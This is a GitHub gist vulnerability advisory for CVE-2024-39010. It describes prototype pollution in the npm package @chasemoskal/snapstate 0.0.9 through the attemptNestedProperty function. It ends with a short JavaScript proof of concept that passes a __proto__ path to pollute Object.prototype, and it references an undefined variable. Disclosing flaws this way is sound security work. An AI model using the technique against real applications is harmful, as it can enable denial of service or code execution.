Skip to content

Instantly share code, notes, and snippets.

@mestrtee
Last active July 29, 2024 17:30
Show Gist options
  • Save mestrtee/af7a746df91ab5e944bd7a186816c262 to your computer and use it in GitHub Desktop.
Save mestrtee/af7a746df91ab5e944bd7a186816c262 to your computer and use it in GitHub Desktop.
[CVE-2024-39010] Vulnerability Advisory Prototype Pollution in @chasemoskal/snapstate, version 0.0.9

Vulnerability type: Prototype Pollution

Vendor of the Package: chase-moskal

Affected Package:

  • Product: @chasemoskal/snapstate
  • Version: 0.0.9

Affected component(s):

attemptNestedProperty

Attack vector(s): the attacker can modify built-in Object.prototype by calling the vulnerable function: attemptNestedProperty with an argument containing a special property __proto__ to pollute the application logic that can be escalated to Denial of service, remote code execution or cross-site scripting attacks.

Description: Affected versions of this package are vulnerable to Prototype Pollution through the vulnerable function: attemptNestedProperty. An attacker can alter the behavior of all objects inheriting from the affected prototype by passing arguments to the vulenrable function crafted with the built-in property: __proto__. The attack can potentially escalated to Denial of service, remote code execution or cross-site scripting attacks depends on the gadgets that may affected by the attack

Proof-of-Concept:

(async () => {
  const lib = await import('@chasemoskal/snapstate');

  var victim = {}

  console.log("Before Attack: ", JSON.stringify(victim.__proto__));

  try {

  lib.attemptNestedProperty (emptyObj, [["__proto__"], "test"], "123")

  } catch (e) { }

  console.log("After Attack: ", JSON.stringify(victim.__proto__));

  delete Object.prototype.polluted;

  })();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment